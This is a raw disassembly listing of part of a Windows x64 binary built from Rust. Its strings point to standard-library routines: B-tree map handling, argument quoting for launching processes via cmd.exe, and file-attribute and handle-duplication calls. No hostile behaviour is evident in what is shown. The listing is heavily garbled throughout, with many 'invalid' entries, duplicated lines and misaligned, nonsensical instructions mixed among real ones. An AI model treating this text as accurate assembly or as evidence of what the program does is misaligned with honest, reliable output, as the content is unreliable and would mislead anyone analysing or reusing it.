movaps xmm0, xmmword [rbp + 0x110]
movups xmmword [rbx + rax + 0x10], xmm0
lea r14, [r13 + 2]
lea esi, [rbp + 2]
lea esi, [rbp + 2]
lea rax, [r10 + 2]
cmp rax, r14
jae 0x14008c6e3
lea rcx, [rbx + 0x3d8]
lea rdx, [rcx + rdi*8]
lea rcx, [rcx + rax*8]
mov r8, r13
sub r8, r10
shl r8, 3
mov esi, r11d
call sub.VCRUNTIME140.dll_memmove
mov r11d, esi
mov ebx, esi
mov ebx, esi
mov r10, qword [rbp + 0x248]
lea eax, [r13 + 1]
mov rcx, qword [rbp + 0xa0]
mov qword [rbx + r10*8 + 0x3e0], rcx
mov word [rbx + 0x3d2], ax
cmp rdi, r14
jae 0x14008c7ba
mov eax, r13d
sub eax, r10d
inc eax
invalid
and eax, 3
je 0x14008c742
rol byte [rbx + 0x2f7403e0], 0x4a
lea edx, [rbx + rdx*8]
lea rdx, [rbx + r10*8]
add rdx, 0x3e0
xor ecx, ecx
mov r8, qword [rdx + rcx*8]
mov qword [r8 + 0x160], rbx
lea r9d, [rdi + rcx]
mov word [r8 + 0x3d0], r9w
inc rcx
cmp rax, rcx
jne 0x14008c720
add rdi, rcx
sub r13, r10
cmp r13, 3
jb 0x14008c7ba
nop dword [rax + rax]
mov rax, qword [rbx + rdi*8 + 0x3d8]
mov qword [rax + 0x160], rbx
mov word [rax + 0x3d0], di
mov rax, qword [rbx + rdi*8 + 0x3e0]
mov qword [rax + 0x160], rbx
lea ecx, [rdi + 1]
mov word [rax + 0x3d0], cx
mov rax, qword [rbx + rdi*8 + 0x3e8]
mov qword [rax + 0x160], rbx
lea ecx, [rdi + 2]
mov word [rax + 0x3d0], cx
mov rax, qword [rbx + rdi*8 + 0x3f0]
mov qword [rax + 0x160], rbx
lea ecx, [rdi + 3]
mov word [rax + 0x3d0], cx
add rdi, 4
cmp rdi, r14
jne 0x14008c750
movaps xmm0, xmmword [rbp + 0xc0]
sub byte [rbp + 0xc0], al
movaps xmm1, xmmword [rbp + 0xd0]
movaps xmm2, xmmword [rbp + 0xe0]
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov eax, dword [rbp + 0x238]
mov ecx, dword [rbp + 0x23b]
mov dword [rbp + 0x1f0], eax
add byte [rcx + 0x1f38d], cl
add byte [rdi], cl
sub byte [rbp + 0xb0], al
add byte [rcx + 0x1f38d], cl
add byte [rdi], cl
sub byte [rbp + 0xb0], al
movaps xmmword [rbp + 0x100], xmm0
cmp r11b, 2
je 0x14008c17a
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x90], xmm2
movaps xmmword [rbp + 0x80], xmm1
movaps xmmword [rbp + 0x70], xmm0
mov eax, dword [rbp + 0x1f0]
mov ecx, dword [rbp + 0x1f3]
mov dword [rbp + 0x240], eax
mov dword [rbp + 0x243], ecx
lea eax, [rbx + 2]
add byte [rax], al
lea eax, [rbx + 2]
add byte [rax], al
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x1e0], xmm0
test dword [rax], eax
add dword [rax], eax
add byte [rdi], cl
sub dword [rbp + 0x1e0], eax
mov rax, qword [r12 + 0x160]
mov rdi, qword [rbp + 0x228]
mov r8, rdi
mov r13, qword [rbp + 0x250]
mov r15, r13
mov r14, qword [rbp + 0x258]
mov rsi, r14
mov rbx, qword [rbp + 0x260]
mov r10, rbx
test rax, rax
jne 0x14008c220
jmp 0x14008c8a4
add al, byte [rax]
add byte [rbx + rcx*4 - 0x4b], cl
pop rax
add al, byte [rax]
add byte [rbx + rcx*4 - 0x53], cl
push rax
add al, byte [rax]
add byte [rdi], cl
sub byte [rbp + 0x70], al
movaps xmm0, xmmword [rbp + 0x70]
movaps xmm1, xmmword [rbp + 0x80]
movaps xmm2, xmmword [rbp + 0x90]
movups xmmword [rbp + 0x150], xmm2
movups xmmword [rbp + 0x140], xmm1
movups xmmword [rbp + 0x130], xmm0
mov eax, dword [rbp + 0x240]
mov ecx, dword [rbp + 0x243]
add byte [rcx + 0x16185], cl
add byte [rcx + 0x1648d], cl
add byte [rdi], cl
sub byte [rbp + 0x1e0], al
add byte [rcx + 0x16185], cl
add byte [rcx + 0x1648d], cl
add byte [rdi], cl
sub byte [rbp + 0x1e0], al
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x110], r12
movsd dword [rdi], dword [rsi]
adc byte [rcx], al
add byte [rax], al
movsd dword [rdi], dword [rsi]
adc byte [rcx], al
add byte [rax], al
mov qword [rbp + 0x118], r8
mov qword [rbp + 0x120], rbx
mov r12, rdi
mov qword [rbp + 0x128], rdi
mov byte [rbp + 0x160], r11b
mov qword [rbp + 0x168], r14
mov qword [rbp + 0x170], r13
mov rdi, qword [rbp + 0x190]
mov edi, dword [rbp + 0x190]
mov edi, dword [rbp + 0x190]
mov rax, qword [rdi]
mov qword [rbp + 0x260], rax
test rax, rax
je 0x14008cd9b
mov rsi, qword [rdi + 8]
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
mov r15, qword [rbp + 0x198]
cwde
add dword [rax], eax
invalid
cwde
add dword [rax], eax
add byte [rbp + 0x19], dh
add byte [rax], al
jne 0x14008c976
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008cd8a
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x438
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
ror byte [rdi], 0x84
std
add eax, dword [rax]
invalid
ror byte [rdi], 0x84
std
test ch, bh
add eax, dword [rax]
add byte [rax - 0x39], cl
and byte [rax + 1], 0
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
adc dl, 3
add byte [rax], al
add byte [rax], al
mov qword [rax + 0x160], 0
mov word [rax + 0x3d2], 0
mov rdx, qword [rbp + 0x260]
mov qword [rax + 0x3d8], rdx
lea rcx, [rsi + 1]
mov qword [rdx + 0x160], rax
add byte [rsi - 0x39], ah
invalid
rol byte [rbx], 1
add byte [rax], al
add byte [rax], al
mov qword [rdi], rax
mov qword [rdi + 8], rcx
cmp rsi, r12
jne 0x14008cdc3
add byte [rsi - 0x39], ah
invalid
movzx ecx, word [rax + 0x3d2]
cmp rcx, 0xb
jae 0x14008cdeb
add dword [rdi], 4
add byte [rax], al
add dword [rdi], 4
add byte [rax], al
lea rdx, [rbp + 0x130]
lea r8d, [rcx + 1]
mov word [rax + 0x3d2], r8w
imul r8, rcx, 0x38
mov r9, qword [rdx + 0x30]
mov qword [rax + r8 + 0x198], r9
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmmword [rax + r8 + 0x188], xmm2
movups xmmword [rax + r8 + 0x178], xmm1
movups xmmword [rax + r8 + 0x168], xmm0
mov rdx, rcx
shl rdx, 5
mov qword [rax + rdx], r14
mov qword [rax + rdx + 8], r13
movaps xmm0, xmmword [rbp + 0x1e0]
movups xmmword [rax + rdx + 0x10], xmm0
mov qword [rax + rcx*8 + 0x3e0], rbx
mov qword [rbx + 0x160], rax
inc ecx
mov word [rbx + 0x3d0], cx
inc qword [rdi + 0x10]
jmp 0x14008c18c
lea edx, [r14 + 1]
lea rdi, [r9 + 1]
imul rax, r9, 0x38
lea r15, [r12 + rax]
add r15, 0x168
cmp cx, r14w
jae 0x14008cb55
lea rax, [r12 + 0x168]
imul rcx, rdi, 0x38
add rcx, rax
mov rbx, r14
sub rbx, r9
imul r8, rbx, 0x38
mov dword [rbp + 0x260], edx
xchg ebp, eax
invalid
add al, byte [rax]
add byte [rcx + rcx*4 - 6], cl
mov r13, r9
call sub.VCRUNTIME140.dll_memmove
movaps xmm0, xmmword [rbp + 0x1a0]
movaps xmm1, xmmword [rbp + 0x1b0]
movaps xmm2, xmmword [rbp + 0x1c0]
movups xmmword [r15], xmm0
movups xmmword [r15 + 0x10], xmm1
movups xmmword [rdi + 0x10], xmm1
xchg ebp, eax
invalid
movups xmmword [rdi + 0x10], xmm1
movups xmmword [r15 + 0x20], xmm2
mov rax, qword [rbp + 0x1d0]
mov qword [r15 + 0x30], rax
mov r15, r13
shl r15, 5
lea rdx, [r12 + r15]
mov rcx, rdi
shl rcx, 5
add rcx, r12
mov r8, rbx
shl r8, 5
call sub.VCRUNTIME140.dll_memmove
stc
invalid
add dword [rax], eax
mov qword [r12 + r15], rsi
mov rax, qword [rbp + 0x200]
mov qword [r12 + r15 + 8], rax
movaps xmm0, xmmword [rbp + 0x1e0]
movups xmmword [r12 + r15 + 0x10], xmm0
lea rdx, [r12 + rdi*8]
add rdx, 0x3d8
lea rcx, [r12 + r13*8]
add rcx, 0x3e8
shl rbx, 3
mov r8, rbx
call sub.VCRUNTIME140.dll_memmove
mov edx, dword [rbp + 0x260]
mov r10, qword [rbp + 0xa0]
mov r9, r13
jmp 0x14008cba7
stc
invalid
mov rax, qword [rbp + 0x1d0]
mov qword [r15 + 0x30], rax
movaps xmm0, xmmword [rbp + 0x1a0]
test eax, edx
add dword [rax], eax
add byte [rcx - 0x77], cl
xor byte [r15], r9b
sub byte [rbp + 0x1a0], al
movaps xmm1, xmmword [rbp + 0x1b0]
movaps xmm2, xmmword [rbp + 0x1c0]
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
mov rax, r9
shl rax, 5
mov qword [r12 + rax], rsi
mov rcx, qword [rbp + 0x200]
mov qword [r12 + rax + 8], rcx
movaps xmm0, xmmword [rbp + 0x1e0]
movups xmmword [r12 + rax + 0x10], xmm0
lea rax, [r14 + 2]
mov qword [r12 + r9*8 + 0x3e0], r10
mov word [r12 + 0x3d2], dx
cmp rdi, rax
jae 0x14008c17a
mov ecx, r14d
sub ecx, r9d
inc ecx
sub r14, r9
and ecx, 3
je 0x14008cc04
lea r8, [r12 + r9*8]
add r8, 0x3e0
xor edx, edx
mov r9, qword [r8 + rdx*8]
mov qword [r9 + 0x160], r12
add dword [rax], eax
add byte [rbp + rcx*4 + 0x14], al
invalid
mov word [r9 + 0x3d0], r10w
inc rdx
cmp rcx, rdx
jne 0x14008cbe2
add dword [rax], eax
add byte [rbp + rcx*4 + 0x14], al
invalid
cmp r14, 3
jb 0x14008c17a
mov rcx, qword [r12 + rdi*8 + 0x3d8]
mov qword [rcx + 0x160], r12
mov word [rcx + 0x3d0], di
mov rcx, qword [r12 + rdi*8 + 0x3e0]
mov qword [rcx + 0x160], r12
lea edx, [rdi + 1]
mov word [rcx + 0x3d0], dx
mov rcx, qword [r12 + rdi*8 + 0x3e8]
mov qword [rcx + 0x160], r12
lea edx, [rdi + 2]
mov word [rcx + 0x3d0], dx
mov rcx, qword [r12 + rdi*8 + 0x3f0]
mov qword [rcx + 0x160], r12
lea edx, [rdi + 3]
mov word [rcx + 0x3d0], dx
add rdi, 4
cmp rdi, rax
jne 0x14008cc0e
jmp 0x14008c17a
mov ecx, 8
mov edx, 0x438
call fcn.1400a9bd0
jmp 0x14008ce11
lea rcx, str.assertion_failed:_edge.height__self.node.height___1
lea r8, [0x1400e82a8]
mov edx, 0x35
call fcn.1400a9e70
jmp 0x14008ce11
lea r8, [0x1400e8240]
mov edx, 0xb
mov rcx, r15
call fcn.1400a9df0
jmp 0x14008ce11
mov ecx, 8
mov edx, 0x438
call fcn.1400a9bd0
jmp 0x14008ce11
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], r14
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btreemapentry.rs
mov edx, 0x2b
call fcn.1400a9e70
jmp 0x14008ce11
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], r14
lea rcx, [0x1400e80f3]
lea r8, [0x1400e8128]
mov edx, 0x30
call fcn.1400a9e70
jmp 0x14008ce11
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], r14
lea rcx, str.assertion_failed:_idx___CAPACITY_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_node.rsassertion_failed:_edge.height__self.height___1
lea r8, [0x1400e8140]
mov edx, 0x20
call fcn.1400a9e70
ud2
add byte [rax], 0
add byte [rax - 0x39], cl
adc r14b, r15b
invalid
invalid
add byte [rbx + rcx*4 + 0x65], cl
invalid
add byte [rax - 0x77], cl
call 0x1204e5c94
lea rax, [0x140080b70]
mov qword [rbp - 0x18], rax
lea rax, str.comparing_environment_keys_failed:
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x30], 0
lea rax, [rbp - 0x20]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rdx, str.library_std_src_syswindowsprocess.rs
lea rcx, [rbp - 0x50]
call fcn.1400a9cb0
ud2
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, rbp
call fcn.140079f00
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
adc dword [rcx], eax
add rsp, 0x38
ret
cmp rax, 6
jbe 0x14008d949
mov rdx, qword [r8]
cmp word [rdx], 0x5c
jne 0x14008d949
cmp word [rdx + 2], 0x5c
jne 0x14008d949
invalid
movzx r9d, word [rdx + 4]
cmp r9w, 0x3f
cmp r9d, 0x3f
je 0x14008d96e
mov rax, qword [r8 + 0x10]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [r8]
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rdx, [rsp + 0x20]
xor r8d, r8d
call fcn.140082750
nop
add rsp, 0x38
ret
cmp word [rdx + 6], 0x5c
jne 0x14008d990
invalid
sbb esp, dword [rsi - 0x7d]
cmp word [rdx + 0xa], 0x3a
jne 0x14008d990
jp 0x14008d983
cmp dh, byte [rbp + 0x14]
cmp word [rdx + 0xc], 0x5c
jne 0x14008d990
add rdx, 8
add rsp, 0x38
jmp fcn.140090bb0
invalid
add byte [rax - 0x7d], cl
clc
cmp rax, 8
jb 0x14008d949
or byte [rdx - 0x4d], dh
cmp r9w, 0x3f
jne 0x14008d949
cmp word [rdx + 6], 0x5c
jne 0x14008d949
cmp word [rdx + 8], 0x55
jne 0x14008d949
or byte [rbp + 0x75], dl
sahf
cmp word [rdx + 0xa], 0x4e
jne 0x14008d949
jne 0x14008d949
cmp word [rdx + 0xc], 0x43
jne 0x14008d949
cmp word [rdx + 0xe], 0x5c
jne 0x14008d949
add rdx, 0xc
mov word [rdx], 0x5c
add rsp, 0x38
invalid
cmp cl, ch
invalid
invalid
add byte [rax], al
invalid
int3
int3
int3
leave
je 0x14008da56
mov rdx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x58], rcx
pop rax
mov qword [rsp + 0x60], rax
and al, 0x60
mov qword [rsp + 0x68], rdx
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x58]
push rsp
and al, 0x58
call fcn.14008d900
mov rdi, qword [rsp + 0x28]
mov edi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x28]
jl 0x14008da56
sub byte [rax - 0x7b], cl
push qword [rsp + rbp - 0xd]
movq mm6, qword [rsp + 0x30]
invalid
test rdi, rdi
je 0x14008da64
movdqu xmm6, xmmword [rsp + 0x30]
xor byte [rax - 0x77], cl
stc
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetFileAttributesW]
adc eax, 0x227e1
cmp eax, 0xffffffff
je 0x14008da84
mov qword [rsi], rdi
movdqu xmmword [rsi + 8], xmm6
jmp case.0x14007e263.455
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
lea rcx, [rsp + 0x30]
call fcn.140079f00
mov qword [rsi], 0
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
invalid
mov byte [rax], al
add byte [rax], al
pop rdi
pop rsi
ret
invalid
mov qword [rsi], 0
movq rax, xmm6
test rax, rax
test eax, eax
test eax, eax
je case.0x14007e263.455
loopne 0x14008dade
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, rdi
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
add byte [rax], al
add byte [rdi + 0x5e], bl
add byte [rax], al
add byte [rdi + 0x5e], bl
jmp qword [sym.imp.kernel32.dll_HeapFree]
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
movaps xmmword [rsp + 0x50], xmm6
mov rsi, rcx
xor r8b, 1
cmp qword [rdx], 0
cmp dword [rdx], 0
cmp dword [rdx], 0
cmp al, byte [rax]
movzx eax, r8b
mov r8d, 2
cmove r8d, eax
mov rbx, qword [rdx + 8]
mov rcx, qword [rdx + 0x18]
lea r14, [rbx + rcx]
xor r11d, r11d
lea rax, str.nul_byte_found_in_provided_data
sbb byte [rbp + rcx*4 + 0x34], cl
or eax, dword [rbp + 0x31]
fisttp dword [rax - 0x73]
add eax, 0x5c7f4
mov rdx, rbx
jmp 0x14008db1d
xor r11d, r11d
test r9w, r9w
je 0x14008df3c
mov r9w, 1
test r11w, r11w
invalid
jne 0x14008db10
invalid
cmp rdx, r14
je 0x14008dbeb
movzx edi, byte [rdx]
movzx r10d, dil
test r10b, r10b
js 0x14008db45
inc rdx
jmp 0x14008dbe0
mov r11d, r10d
and r11d, 0x1f
movzx ebp, byte [rdx + 1]
and ebp, 0x3f
cmp r10b, 0xdf
jbe 0x14008db99
movzx r10d, byte [rdx + 2]
shl ebp, 6
push rdx
add al, cl
in eax, 6
and r10d, 0x3f
or r10d, ebp
cmp dil, 0xf0
jb 0x14008dba9
movzx edi, byte [rdx + 3]
add rdx, 4
and r11d, 7
shl r11d, 0x12
shl r10d, 6
and edi, 0x3f
or edi, r10d
or edi, r11d
mov r10d, edi
cmp r10d, 0xffff
ja 0x14008dbbd
jrcxz 0x14008db81
jmp 0x14008dbe0
add rdx, 2
shl r11d, 6
or r11d, ebp
mov r10d, r11d
jmp 0x14008dbe0
invalid
add rdx, 3
shl r11d, 0xc
or r10d, r11d
cmp r10d, 0xffff
jbe 0x14008dbe0
fiadd dword [rcx - 0x7f]
cli
invalid
and r10d, 0x3ff
or r10d, 0xdc00
mov r11d, r10d
jmp 0x14008db13
invalid
add byte [rbp + 0x31], al
fild dword [rbp - 0x77]
shr ecx, 1
sub bh, bh
invalid
xor r11d, r11d
mov r9d, r10d
jmp 0x14008db13
test r8b, r8b
je 0x14008dc32
movzx eax, r8b
cmp eax, 2
jne 0x14008dc00
xor ebp, ebp
xor r15d, r15d
jmp 0x14008dc5e
xor eax, eax
nop word cs:[rax + rax]
cmp rcx, rax
je 0x14008dc28
movzx edx, byte [rbx + rax]
cmp edx, 9
je 0x14008dc32
add eax, dword [rbx + 0x147409fa]
inc rax
cmp edx, 0x20
jne case.0x140084570.280
jmp 0x14008dc32
test rcx, rcx
je 0x14008dc32
mov bpl, 1
jmp 0x14008dbfb
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x14008dc48
push rsi
adc byte [rax - 0x75], cl
invalid
xor r12d, r12d
movaps xmm6, xmmword [0x1400b0b90]
add byte [rcx], dh
invalid
jmp 0x14008dc82
add byte [rcx], dh
invalid
mov rax, qword [rsi]
mov word [rax + rdx*2], r12w
inc rdx
inc edx
mov qword [rsi + 0x10], rdx
mov r12d, r13d
test r12w, r12w
je 0x14008dcb0
xor r13d, r13d
test bpl, bpl
jne case.0x1400836ee.230
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x14008dc70
mov rcx, rsi
call fcn.140010730
sub bh, al
dec dword [rax - 0x75]
push rsi
adc bl, ch
invalid
cmp rbx, r14
je 0x14008de7a
movzx ecx, byte [rbx]
movzx r12d, cl
loope 0x14008dd06
test ah, ah
loope 0x14008dd06
test ah, ah
js 0x14008dcd6
inc rbx
xor r13d, r13d
test bpl, bpl
test ch, ch
test ch, ch
jne case.0x1400836ee.230
jmp 0x14008dc94
mov eax, r12d
and eax, 0x1f
invalid
movzx edx, byte [rbx + 1]
and edx, 0x3f
cmp r12b, 0xdf
jbe 0x14008dd29
invalid
invalid
invalid
loopne 0x14008dd0f
shl eax, 0x12
shl r12d, 6
shl esp, 6
and ecx, 0x3f
or ecx, r12d
or ecx, eax
mov r12d, ecx
cmp r12d, 0xffff
add byte [rdi], cl
xchg byte [rcx - 1], ah
invalid
invalid
jmp 0x14008dd59
shl eax, 6
or eax, edx
mov r12d, eax
xor r13d, r13d
test bpl, bpl
jne case.0x1400836ee.230
push rbx
jmp 0x14008dc94
add ebx, 3
shl eax, 0xc
loopne 0x14008dd55
or r12d, eax
cmp r12d, 0xffff
jbe 0x14008dc88
invalid
invalid
inc dword [rcx - 0x73]
lea eax, [r12 + 0xff0000]
shr eax, 0xa
or cl, byte [0x14009b569]
test byte [rax + rax], ah
add bh, bh
add cl, al
call 0x11808ea71
or cl, byte [0x14009b569]
or cl, byte [0x14009b569]
and r12d, 0x3ff
or r12d, 0xdc00
fadd qword [rax]
add byte [rbp - 0x77], al
mov r13d, r12d
mov r12d, eax
mov r13d, r12d
mov r12d, eax
test bpl, bpl
je 0x14008dc94
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
cmp r12w, 0x22
je 0x14008ddb6
cld
and dh, byte [rdi + rbx + 0x41]
movzx eax, sp
movzx eax, r12w
cmp eax, 0x5c
jne 0x14008dde8
inc rdi
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x14008dc70
invalid
invalid
invalid
invalid
invalid
test dword [rdi - 0x16000002], edi
call 0x18a08ddb5
mov eax, edi
invalid
jmp 0x14008dc9e
mov r8, rdi
inc r8
je 0x14008df52
nop
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
or byte [rax - 0x75], r9b
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
push rsi
adc byte [rax + 0x29], cl
invalid
push rsi
adc byte [rax + 0x29], cl
ror byte [rcx + rdi - 0x40], 1
sub eax, edx
cmp rax, r8
jb 0x14008de60
add byte [rax], al
mov rax, qword [rsi]
test rdi, rdi
test edi, edi
test edi, edi
je 0x14008de3e
cmp rdi, 0x10
jae 0x14008ddfd
invalid
sbb dword [rcx], esi
leave
xor ecx, ecx
jmp 0x14008de2c
xor edi, edi
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
or byte [rdi], cl
test dword [rax - 2], edi
invalid
invalid
push rsi
or byte [rdi], cl
test dword [rax - 2], edi
invalid
jmp 0x14008dc9e
mov rcx, rdi
and rcx, 0xfffffffffffffff0
lea r8, [rax + rdx*2]
add r8, 0x10
rcl byte [rax], 0x45
xor ecx, ecx
xor ecx, ecx
nop
movups xmmword [r8 + r9*2 - 0x10], xmm6
movups xmmword [r8 + r9*2], xmm6
add r9, 0x10
cmp rcx, r9
jne 0x14008de10
invalid
add rdx, rcx
cmp rdi, rcx
iretd
je 0x14008de3e
invalid
retf 0x3948
iretd
adc cl, byte [rax + 0x29]
iretd
sub rdi, rcx
nop
mov word [rax + rdx*2], 0x5c
inc rdx
dec rdi
jne 0x14008de30
invalid
mov word [rax + rdx*2], 0x5c
pop rsp
add byte [rax - 1], cl
ret 0x8948
invalid
inc rdx
mov qword [rsi + 0x10], rdx
mov dword [rsi + 0x10], edx
xor edi, edi
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x14008dc70
invalid
jmp 0x14008dc9e
invalid
mov rcx, rsi
call fcn.1400ae2f0
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
test rdi, rdi
jne 0x14008ddde
invalid
invalid
invalid
invalid
invalid
test r15b, r15b
je 0x14008df3a
mov rcx, rax
sub rcx, rdx
invalid
ror dword [rax + 0x39], 1
stc
cmp rcx, rdi
jb 0x14008dea8
test rdi, rdi
je 0x14008df12
mov rax, qword [rsi]
cmp rdi, 0x10
jae 0x14008dec0
xor ecx, ecx
jmp 0x14008defc
mov rcx, rsi
mov ecx, esi
mov r8, rdi
mov eax, edi
call fcn.1400ae2f0
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
cmp rdi, 0x10
call qword [rax]
call qword [rax]
jb 0x14008dea4
mov rcx, rdi
and rcx, 0xfffffffffffffff0
lea r8, [rax + rdx*2]
add r8, 0x10
xor r9d, r9d
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [r8 + r9*2 - 0x10], xmm6
movups xmmword [r8 + r9*2], xmm6
add r9, 0x10
cmp rcx, r9
leave
leave
jne 0x14008dee0
add rdx, rcx
cmp rdi, rcx
je 0x14008df0e
sub rdi, rcx
nop
mov word [rax + rdx*2], 0x5c
inc rdx
dec rdi
jne 0x14008df00
mov rax, qword [rsi + 8]
mov rax, qword [rsi + 8]
mov qword [rsi + 0x10], rdx
mov dword [rsi + 0x10], edx
cmp rdx, rax
jne 0x14008df2a
mov rcx, rsi
mov rdx, rax
call fcn.140010730
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
mov word [rax + rdx*2], 0x22
inc rdx
mov qword [rsi + 0x10], rdx
xor eax, eax
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.capacity_overflow
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rax
add al, byte [rsi]
add byte [rax - 0x77], cl
and al, 0x30
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and al, 0x38
and al, 0x38
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_vecmod.rs
lea rcx, [rsp + 0x20]
call fcn.1400a9cb0
ud2
mov r8, qword [rcx + 8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
and al, 0x28
and al, 0x28
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], r8
mov ecx, 1
jmp 0x14008dfd5
mov qword [rsp + 0x20], rcx
and al, 0x20
and byte [rax - 0x77], cl
and al, 0x40
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x20]
call fcn.14008b6f0
nop
add rsp, 0x68
ret
mov ecx, esi
call qword [sym.imp.kernel32.dll_GetStdHandle]
test rax, rax
je 0x14008e15c
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14008e1dc
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
or eax, 2
jmp 0x14008e166
sub byte [rax], al
add byte [rax], al
add bh, al
and al, 0x20
add byte [rax], al
add byte [rax], al
lea r9, [rbp - 0x10]
lea ecx, [rbp - 0x10]
mov rcx, rax
mov rdx, rdi
mov r8, rax
call qword [sym.imp.kernel32.dll_DuplicateHandle]
test eax, eax
je 0x14008e21f
mov rax, qword [rbp - 0x10]
jmp 0x14008e238
lock add byte [rax], al
add byte [rax], al
mov dword [rbp + 0x10], 0
mov word [rbp + 0x14], 0
movaps xmm0, xmmword [0x1400b0ba0]
add byte [rax], al
add byte [rsi - 0x39], ah
adc al, 0
add byte [rdi], cl
sub byte [0x1400b0ba0], al
movups xmmword [rbp], xmm0
cmp esi, 0xfffffff6
sete byte [rbp + 0x10]
mov dword [rbp - 0x40], 0x18
setne byte [rbp + 0x11]
mov qword [rbp - 0x38], 0
mov dword [rbp - 0x30], 1
add byte [rax], al
add byte [rax], al
lea rax, [rbp - 0x40]
mov qword [rbp - 8], rax
lea rcx, str.NULcmd.exemaximum_number_of_ProcThreadAttributes_exceeded
lea r8, [rbp - 0x10]
mov edx, 3
call fcn.140081f70
mov rbx, rdx
jmp 0x14008e1cd
movabs rax, 0x600000002
mov qword [rbp - 0x10], 1
lea rcx, [rbp - 8]
mov qword [rbp - 8], rax
call fcn.140079f00
jmp 0x14008e1c9
xor ebx, ebx
xor eax, eax
mov rdx, rbx
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov qword [rbp - 0x40], 0
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
lea r9, [rbp - 0x40]
mov rcx, rax
mov rdx, rsi
mov r8, rax
call qword [sym.imp.kernel32.dll_DuplicateHandle]
test eax, eax
je 0x14008e21f
mov rbx, qword [rbp - 0x40]
jmp 0x14008e1cb
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov eax, 1
jmp 0x14008e1cd
mov qword [rbp - 0x28], rax
cmp esi, 0xfffffff6
setne dl
mov byte [rbp + 0x38], 1
lea rcx, [rbp - 0x10]
call fcn.14008efd0
cmp qword [rbp - 0x10], 0
